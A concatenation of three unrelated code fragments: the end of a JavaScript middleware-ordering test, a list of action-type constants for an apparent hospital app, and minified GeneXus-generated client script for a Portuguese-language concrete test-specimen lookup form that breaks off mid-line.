expect(combineMiddleware({}, fn)).to.eq(fn);
});
it('combines the middleware', () => {
const signals = [];
const mw1 = () => (next) => (action) => {
signals.push('mw1 before');
next(action);
signals.push('mw1 after');
};
const mw2 = () => (next) => (action) => {
signals.push('mw2 before');
next(action);
signals.push('mw2 after');
};
const combined = combineMiddleware(mw1, mw2);
let caughtAction;
const catchAction = (action) => {
caughtAction = action;
};
const myAction = {};
combined()(catchAction)(myAction);
expect(caughtAction).to.eq(myAction);
expect(signals).to.deep.eq(['mw1 before', 'mw2 before', 'mw2 after', 'mw1 after']);
});
});
|
export const CREATEPROFILE = "CREATEPROFILE";
export const PATIENTDETAILS = "PATIENTDETAILS";
export const DEPARTMENTS = "DEPARTMENTS";
export const DOCTORPROFILE = "DOCTORPROFILE";
export const ADMINS ="ADMINS";
export const PATIENTDRAG = "PATIENTDRAG";
export const MESSAGES = "MESSAGES";
export const GETPARENTS = "GETPARENTS";
export const GETAPP = "GETAPP";
|
/**@preserve GeneXus Java 10_3_12-110051 on January 4, 2021 10:28:8.3
*
gx.evt.autoSkip=!1;gx.define("hconsultarcorpoprova",!1,function(){var n,t;this.ServerClass="hconsultarcorpoprova";this.PackageName="";this.setObjectType("web");this.setOnAjaxSessionTimeout("Warn");this.hasEnterEvent=!1;this.skipOnEnter=!1;this.addKeyListener("5","REFRESH");this.addKeyListener("12","CANCEL");this.addKeyListener("1","HELP");this.SetStandaloneVars=function(){};this.e112eb2_client=function(){this.executeServerEvent("'CONFIRMAR'",!1,null,!1,!1)};this.e132eb2_client=function(){this.executeServerEvent("'ALTERAR'",!0,arguments[0],!1,!1)};this.e142eb2_client=function(){this.executeServerEvent("'IMPRIMIRCORPOPROVA'",!0,arguments[0],!1,!1)};this.e162eb2_client=function(){this.executeServerEvent("ENTER",!0,arguments[0],!1,!1)};this.e172eb1_client=function(){this.executeServerEvent("CANCEL",!0,null,!1,!1)};this.GXValidFnc=[];n=this.GXValidFnc;this.GXCtrlIds=[2,5,8,11,14,17,19,22,24,26,29,31,32,36,39,41,44,46,48,51,53,54,58,62,66,70,72,75,77,80,82,85,92,93,94,95,96,97,98,99,100,106,110];this.GXLastCtrlId=110;this.GridContainer=new gx.grid.grid(this,2,"WbpLvl2",91,"Grid","Grid","GridContainer",this.CmpContext,this.IsMasterPage,"hconsultarcorpoprova",[],!1,1,!0,!0,0,!0,!1,!1,"",0,"px","Novo registro",!0,!1,!1,null,null,!1,"",!1,[1,1,1,1]);t=this.GridContainer;t.addSingleLineEdit(11340,92,"PEDIDOCPCNUMERO","Pedido CPCNumero","","PedidoCPCNumero","int",0,"px",10,10,"right",null,[],11340,"PedidoCPCNumero",!1,0,!1,!1,"Attribute",1,"");t.addSingleLineEdit(11339,93,"PEDIDOCPCANO","Pedido CPCAno","","PedidoCPCAno","int",0,"px",5,5,"right",null,[],11339,"PedidoCPCAno",!1,0,!1,!1,"Attribute",1,"");t.addSingleLineEdit(11350,94,"CORPOPROVASERIE","Serie","","CorpoProvaSerie","int",0,"px",8,8,"right",null,[],11350,"CorpoProvaSerie",!0,0,!1,!1,"Attribute",1,"");t.addSingleLineEdit(11379,95,"CORPOPROVACERTIFICADO","Certificado","","CorpoProvaCertificado","int",0,"px",6,6,"right",null,[],11379,"CorpoProvaCertificado",!0,0,!1,!1,"Attribute",1,"");t.addSingleLineEdit(11380,96,"CORPOPROVADATAAMOSTRAGEM","Data Ensaio","","CorpoProvaDataAmostragem","date",0,"px",10,10,"right",null,[],11380,"CorpoProvaDataAmostragem",!0,0,!1,!1,"Attribute",1,"");t.addSingleLineEdit(11381,97,"CORPOPROVAHORAAMOSTRAGEM","Horário","","CorpoProvaHoraAmostragem","char",0,"px",5,5,"left",null,[],11381,"CorpoProvaHoraAmostragem",!0,0,!1,!1,"Attribute",1,"");t.addSingleLineEdit(11382,98,"CORPOPROVAOBSERVACAO","Observação","","CorpoProvaObservacao","svchar",0,"px",200,80,"left",null,[],11382,"CorpoProvaObservacao",!0,0,!1,!1,"Attribute",1,"");t.addBitmap("&Bmpimp","vBMPIMP",99,0,"px",17,"px","e142eb2_client","","Imp","Image","GridColumnImage");t.addBitmap("&Bmpalt","vBMPALT",100,0,"px",17,"px","e132eb2_client","","Alterar","Image","GridColumnImage");this.setGrid(t);n[2]={fld:"TABLE2",grid:0};n[5]={fld:"TABLE12",grid:0};n[8]={fld:"TABLE16",grid:0};n[11]={fld:"TABLE17",grid:0};n[14]={fld:"TABLE18",grid:0};n[17]={fld:"TXTFORNEC5",format:0,grid:0};n[19]={fld:"TABLE21",grid:0};n[22]={lvl:0,type:"int",len:4,dec:0,sign:!1,pic:"ZZZZ9",ro:1,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[this.GridContainer],fld:"vPEDIDOCPCANO",gxz:"ZV17PedidoCPCAno",gxold:"OV17PedidoCPCAno",gxvar:"AV17PedidoCPCAno",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV17PedidoCPCAno=gx.num.intval(n)},v2z:function(n){gx.O.ZV17PedidoCPCAno=gx.num.intval(n)},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCANO",gx.O.AV17PedidoCPCAno,0)},c2v:function(){gx.O.AV17PedidoCPCAno=gx.num.intval(this.val())},val:function(){return gx.fn.getIntegerValue("vPEDIDOCPCANO",".")},nac:gx.falseFn};n[24]={fld:"TEXTBLOCK34",format:0,grid:0};n[26]={lvl:0,type:"int",len:10,dec:0,sign:!1,pic:"ZZZZZZZ9",ro:1,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[this.GridContainer],fld:"vPEDIDOCPCNUMERO",gxz:"ZV25PedidoCPCNumero",gxold:"OV25PedidoCPCNumero",gxvar:"AV25PedidoCPCNumero",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV25PedidoCPCNumero=gx.num.intval(n)},v2z:function(n){gx.O.ZV25PedidoCPCNumero=gx.num.intval(n)},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCNUMERO",gx.O.AV25PedidoCPCNumero,0)},c2v:function(){gx.O.AV25PedidoCPCNumero=gx.num.intval(this.val())},val:function(){return gx.fn.getIntegerValue("vPEDIDOCPCNUMERO",".")},nac:gx.falseFn};n[29]={fld:"TXTFORNEC7",format:0,grid:0};n[31]={lvl:0,type:"int",len:6,dec:0,sign:!1,pic:"ZZZZZ9",ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCOBRACODIGO",gxz:"ZV27PedidoCPCObraCodigo",gxold:"OV27PedidoCPCObraCodigo",gxvar:"AV27PedidoCPCObraCodigo",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV27PedidoCPCObraCodigo=gx.num.intval(n)},v2z:function(n){gx.O.ZV27PedidoCPCObraCodigo=gx.num.intval(n)},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCOBRACODIGO",gx.O.AV27PedidoCPCObraCodigo,0)},c2v:function(){gx.O.AV27PedidoCPCObraCodigo=gx.num.intval(this.val())},val:function(){return gx.fn.getIntegerValue("vPEDIDOCPCOBRACODIGO",".")},nac:gx.falseFn};n[32]={lvl:0,type:"svchar",len:50,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCOBRANOME",gxz:"ZV28PedidoCPCObraNome",gxold:"OV28PedidoCPCObraNome",gxvar:"AV28PedidoCPCObraNome",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV28PedidoCPCObraNome=n},v2z:function(n){gx.O.ZV28PedidoCPCObraNome=n},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCOBRANOME",gx.O.AV28PedidoCPCObraNome,0)},c2v:function(){gx.O.AV28PedidoCPCObraNome=this.val()},val:function(){return gx.fn.getControlValue("vPEDIDOCPCOBRANOME")},nac:gx.falseFn};n[36]={lvl:0,type:"svchar",len:100,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCOBRARAZAOSOCIAL",gxz:"ZV66PedidoCPCOBraRazaoSocial",gxold:"OV66PedidoCPCOBraRazaoSocial",gxvar:"AV66PedidoCPCOBraRazaoSocial",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV66PedidoCPCOBraRazaoSocial=n},v2z:function(n){gx.O.ZV66PedidoCPCOBraRazaoSocial=n},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCOBRARAZAOSOCIAL",gx.O.AV66PedidoCPCOBraRazaoSocial,0)},c2v:function(){gx.O.AV66PedidoCPCOBraRazaoSocial=this.val()},val:function(){return gx.fn.getControlValue("vPEDIDOCPCOBRARAZAOSOCIAL")},nac:gx.falseFn};n[39]={fld:"TXTFORNEC8",format:0,grid:0};n[41]={lvl:0,type:"date",len:10,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCDATA",gxz:"ZV20PedidoCPCData",gxold:"OV20PedidoCPCData",gxvar:"AV20PedidoCPCData",dp:{f:0,st:!1,wn:!1,mf:!1,pic:"99/99/9999",dec:0},ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV20PedidoCPCData=gx.fn.toDatetimeValue(n)},v2z:function(n){gx.O.ZV20PedidoCPCData=gx.fn.toDatetimeValue(n)},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCDATA",gx.O.AV20PedidoCPCData,0)},c2v:function(){gx.O.AV20PedidoCPCData=gx.fn.toDatetimeValue(this.val())},val:function(){return gx.fn.getControlValue("vPEDIDOCPCDATA")},nac:gx.falseFn};n[44]={fld:"TXTFORNEC9",format:0,grid:0};n[46]={lvl:0,type:"int",len:8,dec:0,sign:!1,pic:"ZZZZZZZ9",ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCNUMEROLACRE",gxz:"ZV26PedidoCPCNumeroLacre",gxold:"OV26PedidoCPCNumeroLacre",gxvar:"AV26PedidoCPCNumeroLacre",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV26PedidoCPCNumeroLacre=gx.num.intval(n)},v2z:function(n){gx.O.ZV26PedidoCPCNumeroLacre=gx.num.intval(n)},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCNUMEROLACRE",gx.O.AV26PedidoCPCNumeroLacre,0)},c2v:function(){gx.O.AV26PedidoCPCNumeroLacre=gx.num.intval(this.val())},val:function(){return gx.fn.getIntegerValue("vPEDIDOCPCNUMEROLACRE",".")},nac:gx.falseFn};n[48]={fld:"TABLE19",grid:0};n[51]={fld:"TXTCFOP3",format:0,grid:0};n[53]={lvl:0,type:"int",len:3,dec:0,sign:!1,pic:"ZZ9",ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCTIPOCONCRETOCODIGO",gxz:"ZV31PedidoCPCTipoConcretoCodigo",gxold:"OV31PedidoCPCTipoConcretoCodigo",gxvar:"AV31PedidoCPCTipoConcretoCodigo",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV31PedidoCPCTipoConcretoCodigo=gx.num.intval(n)},v2z:function(n){gx.O.ZV31PedidoCPCTipoConcretoCodigo=gx.num.intval(n)},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCTIPOCONCRETOCODIGO",gx.O.AV31PedidoCPCTipoConcretoCodigo,0)},c2v:function(){gx.O.AV31PedidoCPCTipoConcretoCodigo=gx.num.intval(this.val())},val:function(){return gx.fn.getIntegerValue("vPEDIDOCPCTIPOCONCRETOCODIGO",".")},nac:gx.falseFn};n[54]={lvl:0,type:"svchar",len:20,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCTIPOCONCRETODESC",gxz:"ZV32PedidoCPCTipoConcretoDesc",gxold:"OV32PedidoCPCTipoConcretoDesc",gxvar:"AV32PedidoCPCTipoConcretoDesc",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV32PedidoCPCTipoConcretoDesc=n},v2z:function(n){gx.O.ZV32PedidoCPCTipoConcretoDesc=n},v2c:function(){gx.fn.setControlValue("vPEDIDOCPCTIPOCONCRETODESC",gx.O.AV32PedidoCPCTipoConcretoDesc,0)},c2v:function(){gx.O.AV32PedidoCPCTipoConcretoDesc=this.val()},val:function(){return gx.fn.getControlValue("vPEDIDOCPCTIPOCONCRETODESC")},nac:gx.falseFn};n[58]={lvl:0,type:"svchar",len:30,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vTIPOCONCRETOCONDESC",gxz:"ZV55TipoConcretoConDesc",gxold:"OV55TipoConcretoConDesc",gxvar:"AV55TipoConcretoConDesc",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV55TipoConcretoConDesc=n},v2z:function(n){gx.O.ZV55TipoConcretoConDesc=n},v2c:function(){gx.fn.setControlValue("vTIPOCONCRETOCONDESC",gx.O.AV55TipoConcretoConDesc,0)},c2v:function(){gx.O.AV55TipoConcretoConDesc=this.val()},val:function(){return gx.fn.getControlValue("vTIPOCONCRETOCONDESC")},nac:gx.falseFn};n[62]={lvl:0,type:"svchar",len:30,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vTIPOCONCRETOAGREGRAUDODESC",gxz:"ZV53TipoConcretoAgreGraudoDesc",gxold:"OV53TipoConcretoAgreGraudoDesc",gxvar:"AV53TipoConcretoAgreGraudoDesc",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV53TipoConcretoAgreGraudoDesc=n},v2z:function(n){gx.O.ZV53TipoConcretoAgreGraudoDesc=n},v2c:function(){gx.fn.setControlValue("vTIPOCONCRETOAGREGRAUDODESC",gx.O.AV53TipoConcretoAgreGraudoDesc,0)},c2v:function(){gx.O.AV53TipoConcretoAgreGraudoDesc=this.val()},val:function(){return gx.fn.getControlValue("vTIPOCONCRETOAGREGRAUDODESC")},nac:gx.falseFn};n[66]={lvl:0,type:"svchar",len:30,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vTIPOCONCRETOCIMENTODESC",gxz:"ZV54TipoConcretoCimentoDesc",gxold:"OV54TipoConcretoCimentoDesc",gxvar:"AV54TipoConcretoCimentoDesc",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV54TipoConcretoCimentoDesc=n},v2z:function(n){gx.O.ZV54TipoConcretoCimentoDesc=n},v2c:function(){gx.fn.setControlValue("vTIPOCONCRETOCIMENTODESC",gx.O.AV54TipoConcretoCimentoDesc,0)},c2v:function(){gx.O.AV54TipoConcretoCimentoDesc=this.val()},val:function(){return gx.fn.getControlValue("vTIPOCONCRETOCIMENTODESC")},nac:gx.falseFn};n[70]={lvl:0,type:"svchar",len:30,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vTIPOCONCRETOSLUMPDESC",gxz:"ZV58TipoConcretoSlumpDesc",gxold:"OV58TipoConcretoSlumpDesc",gxvar:"AV58TipoConcretoSlumpDesc",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV58TipoConcretoSlumpDesc=n},v2z:function(n){gx.O.ZV58TipoConcretoSlumpDesc=n},v2c:function(){gx.fn.setControlValue("vTIPOCONCRETOSLUMPDESC",gx.O.AV58TipoConcretoSlumpDesc,0)},c2v:function(){gx.O.AV58TipoConcretoSlumpDesc=this.val()},val:function(){return gx.fn.getControlValue("vTIPOCONCRETOSLUMPDESC")},nac:gx.falseFn};n[72]={fld:"TABLE20",grid:0};n[75]={fld:"TXTCFOP6",format:0,grid:0};n[77]={lvl:0,type:"decimal",len:9,dec:3,sign:!1,pic:"ZZZZ9.999",ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vPEDIDOCPCQTDECONCRETO",gxz:"ZV29PedidoCPCQtdeConcreto",gxold:"OV29PedidoCPCQtdeConcreto",gxvar:"AV29PedidoCPCQtdeConcreto",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV29PedidoCPCQtdeConcreto=gx.fn.toDecimalValue(n,",",".")},v2z:function(n){gx.O.ZV29PedidoCPCQtdeConcreto=gx.fn.toDecimalValue(n,".",",")},v2c:function(){gx.fn.setDecimalValue("vPEDIDOCPCQTDECONCRETO",gx.O.AV29PedidoCPCQtdeConcreto,3,",")},c2v:function(){gx.O.AV29PedidoCPCQtdeConcreto=this.val()},val:function(){return gx.fn.getDecimalValue("vPEDIDOCPCQTDECONCRETO",".",",")},nac:gx.falseFn};n[80]={fld:"TXTCFOP10",format:0,grid:0};n[82]={lvl:0,type:"decimal",len:7,dec:1,sign:!1,pic:"ZZZZ9.9",ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vTIPOCONCRETORESISTENCIA",gxz:"ZV57TipoConcretoresistencia",gxold:"OV57TipoConcretoresistencia",gxvar:"AV57TipoConcretoresistencia",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV57TipoConcretoresistencia=gx.fn.toDecimalValue(n,",",".")},v2z:function(n){gx.O.ZV57TipoConcretoresistencia=gx.fn.toDecimalValue(n,".",",")},v2c:function(){gx.fn.setDecimalValue("vTIPOCONCRETORESISTENCIA",gx.O.AV57TipoConcretoresistencia,1,",")},c2v:function(){gx.O.AV57TipoConcretoresistencia=this.val()},val:function(){return gx.fn.getDecimalValue("vTIPOCONCRETORESISTENCIA",".",",")},nac:gx.falseFn};n[85]={lvl:0,type:"svchar",len:30,dec:0,sign:!1,ro:0,grid:0,gxgrid:null,fnc:null,isvalid:null,rgrid:[],fld:"vTIPOCONCRETODIMENSAODESC",gxz:"ZV56TipoConcretoDimensaoDesc",gxold:"OV56TipoConcretoDimensaoDesc",gxvar:"AV56TipoConcretoDimensaoDesc",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",v2v:function(n){gx.O.AV56TipoConcretoDimensaoDesc=n},v2z:function(n){gx.O.ZV56TipoConcretoDimensaoDesc=n},v2c:function(){gx.fn.setControlValue("vTIPOCONCRETODIMENSAODESC",gx.O.AV56TipoConcretoDimensaoDesc,0)},c2v:function(){gx.O.AV56TipoConcretoDimensaoDesc=this.val()},val:function(){return gx.fn.getControlValue("vTIPOCONCRETODIMENSAODESC")},nac:gx.falseFn};n[92]={lvl:2,type:"int",len:10,dec:0,sign:!1,pic:"ZZZZZZZ9",ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"PEDIDOCPCNUMERO",gxz:"Z11340PedidoCPCNumero",gxold:"O11340PedidoCPCNumero",gxvar:"A11340PedidoCPCNumero",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.A11340PedidoCPCNumero=gx.num.intval(n)},v2z:function(n){gx.O.Z11340PedidoCPCNumero=gx.num.intval(n)},v2c:function(n){gx.fn.setGridControlValue("PEDIDOCPCNUMERO",n||gx.fn.currentGridRowImpl(91),gx.O.A11340PedidoCPCNumero,0)},c2v:function(){gx.O.A11340PedidoCPCNumero=gx.num.intval(this.val())},val:function(n){return gx.fn.getGridIntegerValue("PEDIDOCPCNUMERO",n||gx.fn.currentGridRowImpl(91),".")},nac:gx.falseFn};n[93]={lvl:2,type:"int",len:4,dec:0,sign:!1,pic:"ZZZZ9",ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"PEDIDOCPCANO",gxz:"Z11339PedidoCPCAno",gxold:"O11339PedidoCPCAno",gxvar:"A11339PedidoCPCAno",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.A11339PedidoCPCAno=gx.num.intval(n)},v2z:function(n){gx.O.Z11339PedidoCPCAno=gx.num.intval(n)},v2c:function(n){gx.fn.setGridControlValue("PEDIDOCPCANO",n||gx.fn.currentGridRowImpl(91),gx.O.A11339PedidoCPCAno,0)},c2v:function(){gx.O.A11339PedidoCPCAno=gx.num.intval(this.val())},val:function(n){return gx.fn.getGridIntegerValue("PEDIDOCPCANO",n||gx.fn.currentGridRowImpl(91),".")},nac:gx.falseFn};n[94]={lvl:2,type:"int",len:8,dec:0,sign:!1,pic:"ZZZZZZZ9",ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"CORPOPROVASERIE",gxz:"Z11350CorpoProvaSerie",gxold:"O11350CorpoProvaSerie",gxvar:"A11350CorpoProvaSerie",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.A11350CorpoProvaSerie=gx.num.intval(n)},v2z:function(n){gx.O.Z11350CorpoProvaSerie=gx.num.intval(n)},v2c:function(n){gx.fn.setGridControlValue("CORPOPROVASERIE",n||gx.fn.currentGridRowImpl(91),gx.O.A11350CorpoProvaSerie,0)},c2v:function(){gx.O.A11350CorpoProvaSerie=gx.num.intval(this.val())},val:function(n){return gx.fn.getGridIntegerValue("CORPOPROVASERIE",n||gx.fn.currentGridRowImpl(91),".")},nac:gx.falseFn};n[95]={lvl:2,type:"int",len:6,dec:0,sign:!1,pic:"ZZZZZ9",ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"CORPOPROVACERTIFICADO",gxz:"Z11379CorpoProvaCertificado",gxold:"O11379CorpoProvaCertificado",gxvar:"A11379CorpoProvaCertificado",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.A11379CorpoProvaCertificado=gx.num.intval(n)},v2z:function(n){gx.O.Z11379CorpoProvaCertificado=gx.num.intval(n)},v2c:function(n){gx.fn.setGridControlValue("CORPOPROVACERTIFICADO",n||gx.fn.currentGridRowImpl(91),gx.O.A11379CorpoProvaCertificado,0)},c2v:function(){gx.O.A11379CorpoProvaCertificado=gx.num.intval(this.val())},val:function(n){return gx.fn.getGridIntegerValue("CORPOPROVACERTIFICADO",n||gx.fn.currentGridRowImpl(91),".")},nac:gx.falseFn};n[96]={lvl:2,type:"date",len:10,dec:0,sign:!1,ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"CORPOPROVADATAAMOSTRAGEM",gxz:"Z11380CorpoProvaDataAmostragem",gxold:"O11380CorpoProvaDataAmostragem",gxvar:"A11380CorpoProvaDataAmostragem",dp:{f:0,st:!1,wn:!1,mf:!1,pic:"99/99/9999",dec:0},ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.A11380CorpoProvaDataAmostragem=gx.fn.toDatetimeValue(n)},v2z:function(n){gx.O.Z11380CorpoProvaDataAmostragem=gx.fn.toDatetimeValue(n)},v2c:function(n){gx.fn.setGridControlValue("CORPOPROVADATAAMOSTRAGEM",n||gx.fn.currentGridRowImpl(91),gx.O.A11380CorpoProvaDataAmostragem,0);typeof this.dom_hdl=="function"&&this.dom_hdl.call(gx.O)},c2v:function(){gx.O.A11380CorpoProvaDataAmostragem=gx.fn.toDatetimeValue(this.val())},val:function(n){return gx.fn.getGridDateTimeValue("CORPOPROVADATAAMOSTRAGEM",n||gx.fn.currentGridRowImpl(91))},nac:gx.falseFn};n[97]={lvl:2,type:"char",len:5,dec:0,sign:!1,ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"CORPOPROVAHORAAMOSTRAGEM",gxz:"Z11381CorpoProvaHoraAmostragem",gxold:"O11381CorpoProvaHoraAmostragem",gxvar:"A11381CorpoProvaHoraAmostragem",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",autoCorrect:"1",v2v:function(n){gx.O.A11381CorpoProvaHoraAmostragem=n},v2z:function(n){gx.O.Z11381CorpoProvaHoraAmostragem=n},v2c:function(n){gx.fn.setGridControlValue("CORPOPROVAHORAAMOSTRAGEM",n||gx.fn.currentGridRowImpl(91),gx.O.A11381CorpoProvaHoraAmostragem,0);typeof this.dom_hdl=="function"&&this.dom_hdl.call(gx.O)},c2v:function(){gx.O.A11381CorpoProvaHoraAmostragem=this.val()},val:function(n){return gx.fn.getGridControlValue("CORPOPROVAHORAAMOSTRAGEM",n||gx.fn.currentGridRowImpl(91))},nac:gx.falseFn};n[98]={lvl:2,type:"svchar",len:200,dec:0,sign:!1,ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"CORPOPROVAOBSERVACAO",gxz:"Z11382CorpoProvaObservacao",gxold:"O11382CorpoProvaObservacao",gxvar:"A11382CorpoProvaObservacao",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",autoCorrect:"1",v2v:function(n){gx.O.A11382CorpoProvaObservacao=n},v2z:function(n){gx.O.Z11382CorpoProvaObservacao=n},v2c:function(n){gx.fn.setGridControlValue("CORPOPROVAOBSERVACAO",n||gx.fn.currentGridRowImpl(91),gx.O.A11382CorpoProvaObservacao,0)},c2v:function(){gx.O.A11382CorpoProvaObservacao=this.val()},val:function(n){return gx.fn.getGridControlValue("CORPOPROVAOBSERVACAO",n||gx.fn.currentGridRowImpl(91))},nac:gx.falseFn};n[99]={lvl:2,type:"bits",len:1024,dec:0,sign:!1,ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"vBMPIMP",gxz:"ZV67BmpImp",gxold:"OV67BmpImp",gxvar:"AV67BmpImp",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.AV67BmpImp=n},v2z:function(n){gx.O.ZV67BmpImp=n},v2c:function(n){gx.fn.setGridMultimediaValue("vBMPIMP",n||gx.fn.currentGridRowImpl(91),gx.O.AV67BmpImp,gx.O.AV79Bmpimp_GXI)},c2v:function(){gx.O.AV79Bmpimp_GXI=this.val_GXI();gx.O.AV67BmpImp=this.val()},val:function(n){return gx.fn.getGridControlValue("vBMPIMP",n||gx.fn.currentGridRowImpl(91))},val_GXI:function(n){return gx.fn.getGridControlValue("vBMPIMP_GXI",n||gx.fn.currentGridRowImpl(91))},gxvar_GXI:"AV79Bmpimp_GXI",nac:gx.falseFn};n[100]={lvl:2,type:"bits",len:1024,dec:0,sign:!1,ro:1,isacc:0,grid:91,gxgrid:this.GridContainer,fnc:null,isvalid:null,rgrid:[],fld:"vBMPALT",gxz:"ZV5bmpAlt",gxold:"OV5bmpAlt",gxvar:"AV5bmpAlt",ucs:[],op:[],ip:[],nacdep:[],ctrltype:"edit",inputType:"text",v2v:function(n){gx.O.AV5bmpAlt=n},v2z:function(n){gx.O.ZV5bmpAlt=n},v2c:function(n){gx.fn.setGridMultimediaValue("vBMPALT",n||gx.fn.currentGridRowImpl(91),gx.O.AV5bmpAlt,gx.O.AV78Bmpalt_GXI)},c2v:function(){gx.O.AV78Bmpalt_GXI=this.val_GXI();gx.O.AV5bmpAlt=this.val()},val:function(n){return gx.fn.getGridControlValue("vBMPALT",n||gx.fn.currentGridRowImpl(91))},val_GXI:function(n){return gx.fn.getGridControlValue("vBMPALT_GXI",n||gx.fn.currentGridRowImpl(91))},gxvar_GXI:"AV78Bmpalt_GXI",nac:gx.falseFn};n[106]={fld:"TABLE13",grid:0};n[110]={fld:"TABLE14",grid:0};this.AV17PedidoCPCAno=0;this.ZV17PedidoCPCAno=0;this.OV17PedidoCPCAno=0;this.AV25PedidoCPCNumero=0;this.ZV25PedidoCPCNumero=0;this.OV25PedidoCPCNumero=0;this.AV27PedidoCPCObraCodigo=0;this.ZV27PedidoCPCObraCodigo=0;this.OV27PedidoCPCObraCodigo=0;this.AV28PedidoCPCObraNome="";this.ZV28PedidoCPCObraNome="";this.OV28PedidoCPCObraNome="";this.AV66PedidoCPCOBraRazaoSocial="";this.ZV66PedidoCPCOBraRazaoSocial="";this.OV66PedidoCPCOBraRazaoSocial="";this.AV20PedidoCPCData=gx.date.nullDate();this.ZV20PedidoCPCData=gx.date.nullDate();this.OV20PedidoCPCData=gx.date.nullDate();this.AV26PedidoCPCNumeroLacre=0;this.ZV26PedidoCPCNumeroLacre=0;this.OV26PedidoCPCNumeroLacre=0;this.AV31PedidoCPCTipoConcretoCodigo=0;this.ZV31PedidoCPCTipoConcretoCodigo=0;this.OV31PedidoCPCTipoConcretoCodigo=0;this.AV32PedidoCPCTipoConcretoDesc="";this.ZV32PedidoCPCTipoConcretoDesc="";this.OV32PedidoCPCTipoConcretoDesc="";this.AV55TipoConcretoConDesc="";this.ZV55TipoConcretoConDesc="";this.OV55TipoConcretoConDesc="";this.AV53TipoConcretoAgreGraudoDesc="";this.ZV53TipoConcretoAgreGraudoDesc="";this.OV53TipoConcretoAgreGraudoDesc="";this.AV54TipoConcretoCimentoDesc="";this.ZV54TipoConcretoCimentoDesc="";this.OV54TipoConcretoCimentoDesc="";this.AV58TipoConcretoSlumpDesc="";this.ZV58TipoConcretoSlumpDesc="";this.OV58TipoConcretoSlumpDesc="";this.AV29PedidoCPCQtdeConcreto=0;this.ZV29PedidoCPCQtdeConcreto=0;this.OV29PedidoCPCQtdeConcreto=0;this.AV57TipoC